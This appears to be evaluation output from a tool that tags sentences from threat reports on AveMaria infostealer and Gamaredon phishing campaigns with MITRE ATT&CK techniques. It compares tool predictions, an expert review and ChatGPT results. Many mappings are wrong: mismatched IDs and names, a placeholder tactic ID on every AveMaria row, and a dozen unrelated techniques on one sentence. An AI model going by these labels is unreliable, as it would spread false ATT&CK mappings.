Triggering the malicious shortcut file downloads another payload via curl command (see Tag 3 & 4 in Fig. 3 below) and drops the malicious file in the impacted system's temp directory.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Remote File Copy(T1105)'}]	2	[1]
Finally, execution of the final payload infects the victim's machine with the AveMaria malware and enables attackers to gain access and take control.	[{'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1547.001', 'technique': 'Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder(T1547.001)'}, {'taid': 'TA0003', 'tactic': 'Privilege Escalation', 'tid': 'T1562.001', 'technique': 'Service Execution(T1562.001)'}, {'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1573.002', 'technique': 'Encrypted Channel: Asymmetric Cryptography(T1573.002)'}]	3	[]
Under the same campaign, researchers observed another variation of the attack chain with a custom downloader and other system related files, as shown in Fig. 5 below.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'},	2	[1]

	{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Remote File Copy(T1105)'}]		
Unfortunately the phishing email for this case study is unavailable, so researchers can not identify the target of these attacks or deduce exactly how the initial payload (.vhd file) was delivered.	[{'taid': 'TA0000', 'tactic': 'Collection', 'tid': 'T1596', 'technique': 'Data Scanning: Scan for Credentials(T1596)'}]	1	[]
Fig. 5 - Malicious payload file properties of custom downloader **Stage 1: Custom downloader** **The custom downloader used in this AveMaria attack chain retrieves an encrypted file from a third party file sharing website and after downloading and decrypting in memory, it executes the decrypted version of the retrieved payload, which is in PE format.**	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1567', 'technique': 'Exfiltration Over Alternative Protocol(T1567)'}]	3	[0, 1]
Fig. 6 - Shows the decryption logic to get the second stage payload in PE format.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[]
To build the downloaded file in PE format, the custom downloader makes use of type casting or type-conversion mechanism whereby different data types are used to manipulate the values at bit level.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[0]
In C# programming, the byte data type is represented by an 8-bit unsigned integer, i.e. it only takes positive values and will ignore the signed bit associated with the value.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[]
In the current decryption scenario, the custom downloader gets the handle and an offset of an array and via “for loop” gets a byte value at particular offset, thereafter convert it to an integer data type and subsequently subtract it with the hardcoded value (which in our case is “585” and can be different in other cases) resulting in negative integer value.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[]
the negative integer value gets converted to a byte data type. And the hex value of the byte data type will get substituted at the particular offset of an array.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[]
It is worth noting that the integer type holds 32-bits of data compared to a byte which holds only 8-bits of data. Converting any integer data type to a byte data type results in the computer only reading the last 8-bit value.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[]
For example, converting a hex value 0xB8 from the encrypted array holding “This program” string to an integer data type results in “184”, and subtracting it with “585”, the final value is “-401”, which is represented in binary as: **“11111111111111111111111111111111111111111111111111111110011 01111”**	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[0]

Going the other way and converting the integer data type to byte data type, the system will read only the last 8-bit value, which in binary is “01101111”.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[]
So the hexadecimal value of the mentioned binary value will be “0x6F”, as shown below, and the converted ASCII value of “0x6f” is “o”, which is a part of the “This program” string.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[]
Dumping the decrypted file from memory, achieved in Stage 1, results in a .Net DLL binary without exports. The DLL binary consists of encrypted bytes under the resource section named “a”, passed as an argument to the decryption function to reveal the final AveMaria payload, as shown below.	[{'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1560', 'technique': 'Archive Collected Data(T1560)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	2	[1]
This is the final stage of decryption, after which the AveMaria payload is executed and kicks-off C2 communications validating the successful execution of the malware on the victim’s machine.	[{'taid': 'TA0000', 'tactic': 'Command and Control', 'tid': 'T1024', 'technique': 'Custom Command and Control Protocol(T1024)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}]	2	[]
It uses the same phishing email technique to distribute the main malicious binary.	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1192', 'technique': 'Spearphishing Attachment(T1192)'}]	2	[0, 1]
This campaign leverages a highly obfuscated Autoit script and Autoit interpreter to decrypt the AveMaria binary in memory and then execute the payload.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}]	2	[0, 1]
The Autoit script is bundled into a self-executing compressed file or executable package known as the parent payload, which consists of all the required components to facilitate the execution of the main malware.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1036', 'technique': 'Masquerading(T1036)'}, {'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution(T1203)'}]	3	[0]

The related phishing email analyzed during this case study (shown below) invites the recipient to submit a competitive quotation offer for an unidentified tender.	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1192', 'technique': 'Spearphishing Attachment(T1192)'}]	2	[0, 1]
Requesting a quote is a common practice businesses use to procure fair goods and services.	[{'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1199', 'technique': 'Supply Chain Compromise(T1199)'}]	1	[]
However in this case, the attached zip file sent with the email invitation is malicious and designed to result in an AveMaria infostealer attack.	[{'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1052', 'technique': 'Exfiltration Over Command and Control Channel(T1052)'}]	1	[]
After extracting the payload from the attached zip file the bundled parent payload is revealed.	[{'taid': 'TA0000', 'tactic': 'Discovery', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Evasion(T1497)'}]	1	[]
Tag2: Drops malicious and decoy files on execution.	[{'taid': 'TA0000', 'tactic': 'Impact', 'tid': 'T1485', 'technique': 'Data Destruction(T1485)'}, {'taid': 'TA0000', 'tactic': 'Impact', 'tid': 'T1499', 'technique': 'Local Data Staging(T1499)'}]	2	[]
Tag3: Parent file calls wscript.exe with an argument of dropped malicious vbscript file. The vbscript file then calls out the malicious Autoit script with the interpreter. The execution of Autoit script then leads to process injection of malware into a legitimate file.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1105', 'technique': 'Ingress Tool Transfer(T1105)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection(T1055)'}]	4	[0, 3]
Tag4: Payload loaded in RegSvcs.exe memory.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading(T1036)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1055', 'technique': 'Process Injection(T1055)'}]	2	[1]
September | Phishing Campaign Targeting Serbian Citizens and Vbs_campaign Purchase Order Scam	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566',	1	[0]

	'technique': 'Phishing(T1566)'}]		
In September, researchers discovered two different AveMaria malware delivery phishing campaigns, first an e-identification portal login credential scam that targets Serbian citizens and second a purchase order scam requesting an invoice payment.	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}, {'taid': 'TA0000', 'tactic': 'Impact', 'tid': 'T1496', 'technique': 'Resource Hijacking(T1496)'}]	3	[0, 1]
In this campaign, Serbian citizens were targeted with a phishing email impersonating the government of Serbia and prompting them to update and store new login credentials for access to the government e-identification portal.	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}]	2	[0, 1]
The attached zip file (see Fig. 13) contains the malicious AveMaria payload, which when executed creates a copy of itself at the %userprofile%\document location.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading(T1036)'}, {'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}]	2	[0, 1]
To further evade detection by Windows defender at runtime, the malware author(s) added the functionality to exclude the whole drive prior to the initialization of the copied file for further infection, via powershell command as shown below.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1053', 'technique': 'Scheduled Task/Job(T1053)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1112', 'technique': 'Modify Registry(T1112)'}]	3	[]
Once the malicious packed binary, named Adobe5151.exe, is executed, it decrypts the end payload, steals user sensitive information, and establishes C2 communication for performing exfiltration of the stolen data.	[{'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over Alternative Protocol(T1041)'}, {'taid': 'TA0000', 'tactic': 'Command and Control', 'tid': 'T1573', 'technique': 'Encrypted Channel(T1573)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1002', 'technique': 'Data Compressed(T1002)'}]	3	[]
In the same month, researchers discovered another phishing campaign imitating a generic purchase order payment request with a malicious payload disguised as a fake invoice attached to the email. A	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique':	3	[0, 2]

key differentiator in this particular attack chain is the various stages of obfuscation and execution.	'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]		
Extracting the vbscript from the attached zip file what looks like a pdf filetype but appears with a script file icon, which serves as an indicator that the file is in fact a script disguised as a pdf.	[{'taid': 'TA0000', 'tactic': 'Deception', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[]
The vbscript (see Star 1 in the screenshot below) which is in an obfuscated format, on execution, calls out powershell.exe with commands consisting of two downloading urls (see Star 2 in the screenshot below).	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol(T1071)'}]	2	[0]
The interesting fact is that the vbscript provided only two downloading urls (as an input), but as can be seen above (see Star 3 in Fig. 19), three files were downloaded, and all of them are obfuscated in some or the other manner.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Deception', 'tid': 'T1001', 'technique': 'Data Obfuscation(T1001)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1105', 'technique': 'Ingress Tool Transfer(T1105)'}]	3	[0, 1]
The downloaded files were all base64 encoded, which after decoding turns out to be an injector .Net binary dll (base64 encoded) a supporting dll (base64 encoded filled with replaceable value) AveMaria payload in reversed base64 encoded format.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}]	2	[0]
Decoding the dll2.txt file reveals a dotnet DLL binary that acts as a downloader and injector to execute the end payload.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading(T1036)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1055', 'technique': 'Process Injection(T1055)'}]	3	[2]
Instead of directly downloading and executing the malware onto the system, threat actors use a custom binary to download supporting	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid':	4	[0]

DLL and restore the same. Subsequently, it downloads the reversed base64 encoded AveMaria payload and puts it back to base64 format.	'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading(T1036)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1218', 'technique': 'Signed Binary Proxy Execution(T1218)'}]		
Once all the required files are in place, the same will be used to perform process injection as shown below.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1055', 'technique': 'Process Injection(T1055)'}]	1	[0]
The file named jfgfhhjhgjkj.txt is the actual AveMaria payload, downloaded in the reversed base64 encoded format. After restructuring and decoding, the main payload is revealed. The screenshot below shows the file properties and strings present inside the malicious payload.	[{'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1002', 'technique': 'Data Compressed(T1002)'}]	1	[]
In August, researchers observed a new phishing campaign targeting Ukrainian officials impersonating a representative from the Ukrainian Department of Economic Policy and Strategic Planning. The featured phishing emails included an ISO file attachment containing the malicious AveMaria payload along with three decoy documents and four shortcut files.	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1193', 'technique': 'Spearphishing Attachment(T1193)'}]	2	[0, 1]
All the shortcut files examined from the attached ISO file in this campaign contain the same powershell command that searches for a hardcoded filename in each drive.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}]	1	[0]
The file named gov12.exe is the actual Avemaria executable which on execution creates a copy of itself with the hardcoded filename images.exe at %userprofile%\documents folder location, adds run key in the registry to achieve persistence and then initiates the copy for further infection.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1053', 'technique': 'Scheduled Task/Job(T1053)'}, {'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1060', 'technique': 'Registry Run Keys/Startup Folder(T1060)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	3	[0, 1]
In the seventh case study attack chain, researchers observed that the "System Binary Proxy Execution" detection evasion technique is used for executing the end payload. A malicious HTA file consisting of a vbscript code under <script> tag, is used to download the end payload. The phishing email file associated with this attack chain was unavailable, but we anticipate that the .iso file is being distributed as an attachment only.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1218', 'technique': 'Signed Binary Proxy Execution(T1218)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1193', 'technique':	2	[0, 1]

	'Spearphishing Attachment(T1193)'}]		
The shortcut files extracted from the attached ISO file consist of a powershell command and some obfuscated code decrypted at runtime by the powershell binary. Executing shortcut files downloads malicious .hta extension file and thereafter executes the latter via mshta.exe.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Remote File Copy(T1105)'}]	3	[0, 1, 2]
The .hta file consists of a vbscript under <script> tag generates an obfuscated third stage powershell code when executed and then the latter is passed as an argument to legitimate powershell binary for further execution.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	2	[0, 1]
After researchers decoded and beautified the obfuscated script a legible powershell script was revealed containing the following key functions: 1.) Main function: contains the logic to check for file at %appdata% folder (see blue bracket on the right in the screenshot below) if true, then execute the same via "Invoke-item" command. If false, then logic to download and execute the same. 2.) Decoding function: contains the logic to decode encoded data (see red box in the screenshot below) 3.) Downloading function: contains code related to initiating web connection object which downloads the files (see green box in the screenshot below)	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Command and Control Channel(T1048)'}]	3	[0, 1]
The powershell script shown above downloads and executes the AveMaria stealer malware onto the target system in the last stage of the attack.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1106', 'technique': 'Execution through API(T1106)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1064', 'technique': 'Scripting(T1064)'}]	2	[1]
Note: In this attack, a website was compromised to host malicious payloads.	[{'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1190', 'technique': 'Exploit Web Service(T1190)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1191', 'technique': 'Supply Chain Compromise(T1191)'}]	2	[]
From the case studies detailed in this analysis, it is evident that the developers of the AveMaria infostealer are actively maintaining the malware and updating the phases and stages of execution with new	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Evasion(T1497)'}, {'taid':	7	[]

techniques to ensure the stealer remains relevant by evading detection.	'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1529', 'technique': 'System Services(T1529)'}, {'taid': 'TA0000', 'tactic': 'Privilege Escalation', 'tid': 'T1088', 'technique': 'Bypass User Account Control(T1088)'}, {'taid': 'TA0000', 'tactic': 'Evasion', 'tid': 'T1496', 'technique': 'Obfuscated Files or Information(T1496)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over Alternative Protocol(T1041)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Command and Control Channel(T1048)'}]		
While examining the various TTPs over a span of six months, ThreatLabz researchers observed a multitude of changes to the AveMaria malware distribution mechanisms typically updated monthly, so that even if one mechanism is flagged by security operators the others can still be applied effectively.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Evasion(T1497)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Command and Control', 'tid': 'T1570', 'technique': 'Use of Encrypted Channels(T1570)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over Alternative Protocol(T1041)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Command and Control Channel(T1048)'}]	5	[]

Test Report 5 Exposed Web Panel Reveals Gamaredon Group's Automated Spear Phishing Campaigns

URL: https://blog.eclecticiq.com/exposed-web-panel-reveals-gamaredon-groups-automated-spear-phishing-campaigns

TTPExtractor Infer Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
The group uses spear phishing emails and social engineering lures as a primary tactic.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[['actor', 'Gamaredon APT']]	1	[0]
The exposed SMTP server hosts a web panel for crafting and delivering spear phishing emails.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[]	1	[0]
gamaredon-spearphishing-2Figure 3 - Spear phishing email sent it on Wednesday, 8 February 2023.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[]	1	[0]
The server had port 80 open for use by the threat actor for crafting spear phishing emails via a simple user interface seen in figure 5.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[]	1	[0]
The attachments exploit CVE-2017-0199, a Microsoft Office remote code execution vulnerability in Windows.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1203', 'technique': 'ExploitationforClientExecution'}]	[['vul', 'CVE-2017-0199']]	1	[0]
Figure 8 shows that spear phishing email was sent to the Security Service of Ukraine (SSU) on November 19, 2020.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[]	1	[0]
It contained a malicious Word document attachment used for malware delivery.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[]	1	[0]
Once a victim opens the delivered malicious Word document, it will exploit CVE-2017-0199.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1203', 'technique': '客户端执行利用'}, {'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[['vul', 'CVE-2017-0199']]	2	[0, 1]
If the exploitation is successful, then it will download a second-stage malware from the domain erythrocephala.online, which has been attributed to Gamaredon.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[['actor', 'Gamaredon']]	1	[0]
Install updates: Microsoft released patches and updates to fix vulnerabilities such as CVE-2017-0199.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1203', 'technique': '客户端执行利用'}]	[['vul', 'CVE-2017-0199']]	1	[0]

Expert Review Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
The group uses spear phishing emails and social engineering lures as a primary tactic.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[['actor', 'Gamaredon APT']]	1	[0]
The exposed SMTP server hosts a web panel for crafting and delivering spear phishing emails.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[]	1	[]
gamaredon-spearphishing-2Figure 3 - Spear phishing email sent it on Wednesday, 8 February 2023.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[]	1	[0]

The server had port 80 open for use by the threat actor for crafting spear phishing emails via a simple user interface seen in figure 5.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[]	1	[]
The attachments exploit CVE-2017-0199, a Microsoft Office remote code execution vulnerability in Windows.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1203', 'technique': 'ExploitationforClientExecution'}]	[['vul', 'CVE-2017-0199']]	1	[0]
Figure 8 shows that spear phishing email was sent to the Security Service of Ukraine (SSU) on November 19, 2020.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[]	1	[0]
It contained a malicious Word document attachment used for malware delivery.	[{'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[]	1	[0]
Once a victim opens the delivered malicious Word document, it will exploit CVE-2017-0199.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1203', 'technique': '客户端执行利用'}, {'taid': 'TA0001', 'tactic': 'initial-access', 'tid': 'T1566.001', 'technique': 'SpearphishingAttachment'}]	[['vul', 'CVE-2017-0199']]	2	[0, 1]
If the exploitation is successful, then it will download a second-stage malware from the domain erythrocephala.online, which has been attributed to Gamaredon.	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1105', 'technique': 'IngressToolTransfer'}]	[['actor', 'Gamaredon']]	1	[0]
Install updates: Microsoft released patches and updates to fix vulnerabilities such as CVE-2017-0199.	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1203', 'technique': '客户端执行利用'}]	[['vul', 'CVE-2017-0199']]	1	[]

ChatGPT Infer Result

text	tts	ttps_pred_count	ttps_accept_idx
On February 09, 2023, EclecticIQ analysts identified a spear phishing campaign targeting Ukrainian government entities like the Foreign Intelligence Service of Ukraine (SZRU) and Security Service of Ukraine (SSU).	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing Spearphishing Attachment'}]	1	[0]
Analysts identified a publicly exposed Simple Mail Transfer Protocol (SMTP) server and assess with high confidence that the threat actor used the SMTP server to craft and deliver phishing emails.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1590', 'technique': 'Use Alternate Protocol: Application Layer Protocol SMTP'}]	1	[0]
The SMTP server contained a web panel designed to create and distribute spear phishing emails.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing Spearphishing Link'}]	1	[0]
It enables the email to have a malicious attachment and leverages email spoofing techniques to make it appear from a legitimate source.	[{'taid': 'TA0008', 'tactic': 'Defense Evasion', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
Observed adversary tactics, techniques, and procedures (TTPs), victimology, and infrastructure found in the SMTP server configuration overlap with previously identified Gamaredon activity.	[{'taid': 'TA0040', 'tactic': 'Tactic Decoy', 'tid': 'T1498', 'technique': 'Virtualization/Sandbox Evasion'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1074', 'technique': 'Data Staged'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Remote File Copy'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid':	12	[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]

	'T1218', 'technique': 'Signed Binary Proxy Execution'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1574.002', 'technique': 'Hijack Execution Flow'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1574.001', 'technique': 'DLL Search Order Hijacking'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1574.003', 'technique': 'Create or Modify System Process'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1574.004', 'technique': 'Registry Run Keys / Start Folder'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1574.005', 'technique': 'Kernel Modules and Extensions'}, {'taid': 'TA0040', 'tactic': 'Tactic Decoy', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Detection'}]		
Gamaredon APT group is believed to be a Russian State-backed threat group linked to the Federal Security Service (FSB).	[{'taid': 'TA0049', 'tactic': 'Establish & Maintain Infrastructure', 'tid': 'T1324', 'technique': 'Customized Tool Development'}]	1	[0]
Gamaredon is known for its cyberespionage activities, primarily targeting Ukrainian government entities.	[{'taid': 'TA0043', 'tactic': 'Survey & Reconnaissance', 'tid': 'T1593.001', 'technique': 'Active Scanning'}]	1	[0]
The group uses spear phishing emails and social engineering lures as a primary tactic.	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1593', 'technique': 'Phishing'}]	1	[0]
